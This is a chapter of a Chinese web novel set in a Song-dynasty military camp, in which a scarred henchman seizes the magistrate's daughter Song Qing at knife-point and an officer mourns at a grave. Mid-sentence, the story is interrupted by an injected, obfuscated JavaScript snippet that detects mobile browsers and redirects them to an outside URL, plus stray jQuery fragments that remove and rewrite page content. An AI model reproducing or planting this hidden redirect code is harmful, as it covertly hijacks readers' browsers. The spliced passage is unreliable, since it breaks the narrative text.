80. 狭路相逢

作品:《宋穿打工人

    在确认“谢策”那支队伍一头扎进了三号隘口后,刀疤脸心腹便踩着荒径碎雪,风一般地往大营赶。


    越靠近营区,巡逻的哨卡和往来的人影便渐渐多了起来。


    为免引人注目,疤脸在一处僻静林子停下脚步,左右扫过枯木乱石,确认无人窥伺,才抬手扯下脸上碍事的深色蒙面巾,随手塞进怀里,又拢了拢身上灰扑扑的粗布衣裳,把衣襟扯得严实,刻意压着肩背,扮成个刚从外营办杂事归队的寻常辅兵。


    疤脸调匀气息,低垂着头,朝着营区侧后方那道守卫最是松垮、查验也越是敷衍的的破旧侧门走去。


    彼时天色阴沉,寒风料峭,路上行人皆缩肩埋首,只顾着赶路避寒,没人会多瞧一个不起眼的辅兵,这倒省了疤脸不少麻烦。


    穿过堆着的废弃木料,再拐过破旧营帐的乱场,就是通向侧门的狭窄小径。


    疤脸刚要抬步转过去,斜刺里突然撞过来一道慌不择路的人影,直直朝着他怀里扑来!


    疤脸反应极快,脚下微微一错,侧身让开半步,右手闪电般地按向了腰间的短刀,全身肌肉绷紧,做好了应对任何突发袭击的准备。


    待他定睛一看,才发现冲过来的竟是宋通判家的小丫头宋清。


    宋清此时的模样狼狈到了极点。裙摆沾满了血污泥点与冻硬的雪水,湿冷地贴在腿上。发髻散了大半,几缕被汗浸透的碎发黏在苍白的额角脸颊,鼻尖与耳朵冻得发紫,唇色褪得只剩一层薄白,唯有额角渗着细密冷汗,与冻僵的脸颊形成极诡异的对比。


    看样子,她是拼了命地跑回来的。


    宋清心不在焉,压根没料到拐角有人,自个先被吓得魂飞魄散,低低“啊”了一声,踉踉跄跄退了半步。


    方才在山路上连滚带爬,全靠一口气撑着,现在停下来才发觉自己腿肚子直打颤,膝盖也酸得发软,她只得扶着旁边的歪木桩,弯着腰大口喘气,胸口起伏得厉害。


    疤脸迅速挤出几分木讷的温和神情,眼神却在宋清周身飞快地扫了一遍。


    他放缓了声音,听着倒像个不善言辞却好心肠的老实人:“宋姑娘?您这是怎么了?可是遇上什么难处了?需不需要……搭把手?或者,我送您回去?”


    疤脸记得这姑娘。宋通判的独女,性子单纯,没什么心机城府,以前在营中偶遇,总是低着头、垂着眼,细声细气地应一声便匆匆走过,像只受惊的小鹿。


    偶尔被他撞见问话,也是问什么答什么,三言两语就能把底细套个干净,是最好摆弄、最不会惹麻烦的那类人。


    宋清心神不宁,下意识地接口:“哎哟,是你啊……我、我要去找云参议!有急事!”


    云参议?


    刀疤心里咯噔一下,指尖悄悄攥紧了。


    这个节骨眼上,宋清一身狼狈地从营外方向跑回来,慌慌张张、失魂落魄,开口就是要找那个近来屡次搅局、精明得可怕的云岫?


    能有什么“急事”?


    联想到自己前日刚在偏僻林间干净利落地“处理”掉那个从三号隘口逃回的真传令兵,联想到先生的计划正进行到最关键的一步,再联想到云岫那女人素来心细如发,难保不会从某些蛛丝马迹中察觉端倪……


    疤脸于是多嘴追问了一句:“找云参议?可是有什么要紧的军务传达?还是宋姑娘您在外面遇到了什么难处?这荒郊野岭的……不妨先与我说说?或许我能帮上忙?”


    换作平日,以宋清那点浅显的心性,被人这么“诚恳”地一哄一骗,关切地问上几句,怕是早把路上如何摔跤、如何看见那具传令兵尸体、父亲如何惊恐崩溃、自己又如何下定决心回营报信的事,像倒豆子似的,一五一十全说出来了,说不定还得掉几滴委屈害怕的眼泪。


    可今日不一样了。


    父亲带着她仓皇出逃的懦弱,又在半路折返回来的转变,冰天雪地里那具狰狞尸首带来的视觉与心灵的双重冲击,以及自己咬着牙、忍着痛、顶着寒风跑回来的那份悲壮决心……这一连串坎坷经历,让这个一直生活在父亲羽翼下、循规蹈矩的深闺少女,心境发生了一种微妙而坚定的变化。


    宋清本是要顺着疤脸的话头说下去,忽然又顿住了——等等!这人是秦松的心腹侍从!他怎么会在这个时辰、出现在这条偏僻的乱场小径上晃悠?


    秦松此刻该在帐中理事,或是称病不出,他的贴身侍从,不该在此处游荡才对。


    这些念头一转,宋清立刻清醒了大半。她扯出一个僵硬的笑,故作轻松地搪塞:“没、没什么大事,就是心里闷得慌,想找云姐姐说说话,都是女儿家的闲事。”


    可疤脸又是什么人?常年替秦松处理脏事,察言观色、辨人心思,是刻在骨子里的本事。


    宋清这飘忽的眼神、生硬的掩饰、越强调没事越是露馅的模样,在他眼里跟把“撒谎”写在脸上没两样。


    疤脸几乎是在瞬间就做出了判断:这丫头,十有八九是撞破了什么不该看见的事情!很可能是跟传令兵尸体、或者先生的其他安排有关!她现在慌慌张张跑回来,急着要找云岫,就是要告密!要把她看到的东西捅出去!


    计划到了最关键的一步,半分变数都容不得,这宋清就是个凭空冒出来的搅屎棍,必须立刻摁住,绝不能让她见着云岫。


    疤脸的眼神瞬间冷了下来。他眯了眯眼,一字一句地问道:“宋姑娘……真的,没什么事吗?”


    宋清被他这骤然改变的气场所慑,心头警铃大作,后退了半步,连连摆手:“真、真的没事!我先走了,云姐姐该等急了!”


    说罢,她转身就想快步离开。


    然而,就在宋清转身的刹那,疤脸一步踏前,左手猛地攥住了她纤细的手臂,宋清痛呼一声,整个人就被硬生生拽了回来!


    同时,疤脸右手寒光一闪,一柄冷冰冰的锋利短刀,已然抵在了宋清的后腰要害处!


    “现在,”疤脸心腹凑到宋清耳边,压低声音,“可以告诉我,到底有什么事了吗?宋姑娘?”


    军营外二三里地,一处背风向阳的山坳里。


    积雪厚厚地盖着枯黄的衰草,嶙峋的怪石从雪被下戳出来,风穿过石缝和枯木,发出呜呜咽咽的怪响,像是无数冤魂在暗处幽幽地叹气,又像是这片土地本身在痛苦地呻吟。


    这里真是偏得很,平日里连砍柴的樵夫都嫌路远不来,放眼望去只剩下一片死气沉沉的寂静。


    赵虞候独自一人,深一脚浅一脚地踏着及踝的积雪,慢慢走了过来。


    他身上还是那件半旧的锦袍,料子虽好,边角却已有些磨损,外头罩了件灰鼠皮的斗篷,领口的毛有些稀疏。他手里提着一个不小的酒坛子,坛身是粗陶的,贴着张早已褪色发白、边缘卷起的红纸,上面墨笔写的“杏花春”三个字,也淡得快看不清了。


    赵虞候在乱石堆里来回走了几步,最终在一处稍显平整、背靠着一块巨大山岩的地方面前停下了脚步。


    他抬脚,有些粗暴地踢开表面的积雪,露出底下裂着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147859|182998||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    细密口子的黑黄色泥土。


    没有墓碑,没有香烛,甚至连个土包都没有,就是个简陋得不能再简陋、寒酸得不能再寒酸的坟头了。


    赵虞候沉默地站了片刻,脸上没了平日那副玩世不恭的刻薄相,只剩下一种木然的疲惫。


    寒风卷起他斗篷的下摆,猎猎作响,他却恍若未觉。


    半晌,赵虞候弯腰,用冻得有些僵硬的手指,略显笨拙地撕开酒坛口那层早已干硬的泥封。


    浓郁而辛辣的酒香随之漫开,在冷空气里飘出老远。他就这么拎着酒坛往冻土上浇,清亮的酒液“哗啦啦”地砸在雪上,洇出一大片深色痕迹,酒气混着寒气往上飘。


    “喏,上好的‘杏花春’,老子托人从城里最好的酒坊弄来的,自己都舍不得抿两口,怕喝完了没处寻。”赵虞候低声嘟囔,“今儿个都给你了。算是……给你陪个不是。”


    “是我的错。当初硬要把你从老家山沟里拽出来,拍着胸脯跟你爹娘保证,说跟着我赵虞候,有肉吃有酒喝,有前程,能光宗耀祖……你爹娘那眼神,我到现在都记得,盼着你出息,又舍不得你远走。”赵虞候轻轻摇了摇头,雪粒落在发梢,“你若留在老家,守着几亩薄田安分过一辈子,便不会……不会跑到这鸟不拉屎的鬼地方,把命丢在这儿。”


    “你这小子,怎么就这么蠢?”


    酒液还在汩汩地流,坛子在他手中渐渐变轻。


    赵虞候的声音也变得飘忽起来:“到了下头……机灵点,别傻乎乎地再被人当枪使了。找个好人家投胎,下辈子投到太平盛世去,别再碰上打仗,也别再碰上……我这样的上官了。”


    酒坛终于空了。赵虞候晃了晃,确认最后一滴也落尽了,沉默地又站了一会儿,任由寒风将酒气吹散。


    最后,他随手将那空了的粗陶酒坛,丢在旁边一个半埋着枯草的雪堆里,发出“咕咚”一声沉闷的响动。


    赵虞候抬手,用手掌抹了把脸,也不知是抹去溅上的冰凉酒渍,还是抹去眼角那一点或许只是被寒风吹出的湿意。


    “行了,酒也喝了,话也说了。”


    “……走了。”


    赵虞候低声说了一句,就紧了紧斗篷,转身,踩着来时的脚印,慢慢往回走。背影在空旷的山坳里显得有些落寞。


    许是心绪依旧不宁,胸中那股郁气并未因祭奠而完全消散;又或是这冬日的山路实在难行,赵虞候也不想立刻回到那个乌烟瘴气、处处透着诡异的军营里去。


    他并未选择直接返回军营的最近路径,而是鬼使神差地选了一条稍远、但更加僻静荒凉的小路,想一个人再静静,理理脑子里那团乱麻。


    走了约莫一炷香的功夫,小路前方一处被枯藤和嶙峋乱石半掩着的拐角后面,隐约传来了极其轻微的动静,还有压得极低的人语声。


    赵虞候脚步一顿,放轻了动作侧耳倾听。


    似乎有两个人的声音,分别是一男一女。


    男的声音含混不清,却透着一股强硬。女的声音则有些发颤,像是在极力克制着不让自己尖叫出来。


    赵虞候眉头微皱。


    这荒郊野岭的,谁会在这里?


    听声音,似乎离自己不远。他悄悄往前挪了几步,借着石块的掩护,探头望去。


    只见小径上,秦松那个总是阴着脸的疤脸侍从,正半拽半胁迫着一个年轻女子往前走。


    那女子不是别人,正是宋通判家那个平日里总低着头、细声细气的闺女宋清!